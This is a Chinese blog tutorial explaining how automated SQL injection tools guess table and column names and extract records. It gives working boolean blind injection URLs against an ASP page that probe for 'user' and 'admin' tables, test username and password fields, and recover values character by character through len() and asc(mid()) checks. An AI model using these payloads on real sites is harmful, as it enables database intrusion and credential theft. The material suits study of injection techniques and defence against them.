当前位置:首页 > 大杂烩 > 正文内容

sql注入之猜表猜字段暴库原理

高老师8年前 (2017-08-27)大杂烩2567

前面已经讲了关于是否存在注入点的说明.

现在讲下关于阿D注入和明小子检测存在注入猜表猜字段的原理.(使用工具一定要知道工具原理,方便后期自己完善/开发工具)

1.猜表的方法:

http://xxx.com/ProductShow.asp?articleid=143 and exists(select * from [user])    //查询是否存在user表

http://xxx.com/ProductShow.asp?articleid=143 and exists(select * from [admin]) //查询是否存在admin表

2.猜字段的方法:

http://xxx.com/ProductShow.asp?articleid=143 and exists(select username from [user])    //查询在user表是否存在username字段

http://xxx.com/ProductShow.asp?articleid=143 and exists(select password from [user])    //查询在user表是否存在password字段

3.逐个记录的获取和暴库

  (1).先查询user表第一个记录中username的字段长度

http://xxx.com/ProductShow.asp?articleid=143  and (select top 1 len(username ) from [user])=1  //测试第一个记录用户名长度是不是1

http://xxx.com/ProductShow.asp?articleid=143  and (select top 1 len(username ) from [user])=2  //测试第一个记录用户名长度是不是2

.........直到测试正确

  (2).从上面记录到第一条记录的username的长度(假设是5),开始猜测这个username5位到底是什么,方法就是1位1位的猜测,毕竟

ASCII码不多

http://xxx.com/ProductShow.asp?articleid=143  and (select top 1 asc(mid(user_name ,1,1)) from [user])=97  //测试username第1位是不是a(ASCII中97是字母a)

http://xxx.com/ProductShow.asp?articleid=143  and (select top 1 asc(mid(user_name ,2,1)) from [user])=98  //测试username第2位是不是b(ASCII中98是字母b)

.........直到测试正确

通过工具循环测试很快完成检测整个表中的所有记录

扫描二维码推送至手机访问。

版权声明:本文由高久峰个人博客发布,如需转载请注明出处。

本文链接:https://blog.20230611.cn/post/492.html

分享给朋友:

“sql注入之猜表猜字段暴库原理” 的相关文章

PHP安装mongodb扩展

PHP安装mongodb扩展

在安装之前我们先看看官方给出的依赖关系.首先是dll文件和mongodb软件的依赖关系然后是PHP文件和dll的依赖关系我的是phpstudy的集成环境PHP5.4.45 NTS+Apache+Mysql【一】.安装mongodb3.0软件对比依赖关系下载mongodb3.0.msi软件,完整名称:...

Git从远程仓库更新文件

Git从远程仓库更新文件

 git   pull  https://git.oschina.net/392223903/learn.git   master   换为您的git地址...

Git日志查看和版本切换

Git日志查看和版本切换

日志查看:git log版本切换:方式1:git  reset  --hard  HEAD^   倒退一个版本git  reset  --hard  HEAD^^  倒退两个版本方式2:(版本号的形式,建议版本号码补充完...

IIS7.0无法加载CSS的处理办法

IIS7.0无法加载CSS的处理办法

首先网页全部是纯静态的文件,本地测试正常访问,服务器端无法加载CSS,并且无法查看CSS文件的内容。 解决方案:关闭网站的压缩->>静态压缩和动态压缩...

redis安装教程

redis安装教程

1.文件redis-2.6.14.tar.gz的上传 /home/john/创建rdtar文件夹 上传redis-2.6.14.tar.gz至rdtar文件夹  2.解压文件  cd /home/john/rdtar tar &n...

 vsftp 命令,vsftp常用操作命令

vsftp 命令,vsftp常用操作命令

vsftp常用操作命令:1.启动vsftp: service vsftpd start 2.重启vsftp: service vsftpd restart3.修改用户密码:passwd lao8org4.创建用户:useradd -d /data/wwwroot/blog -s /sbin...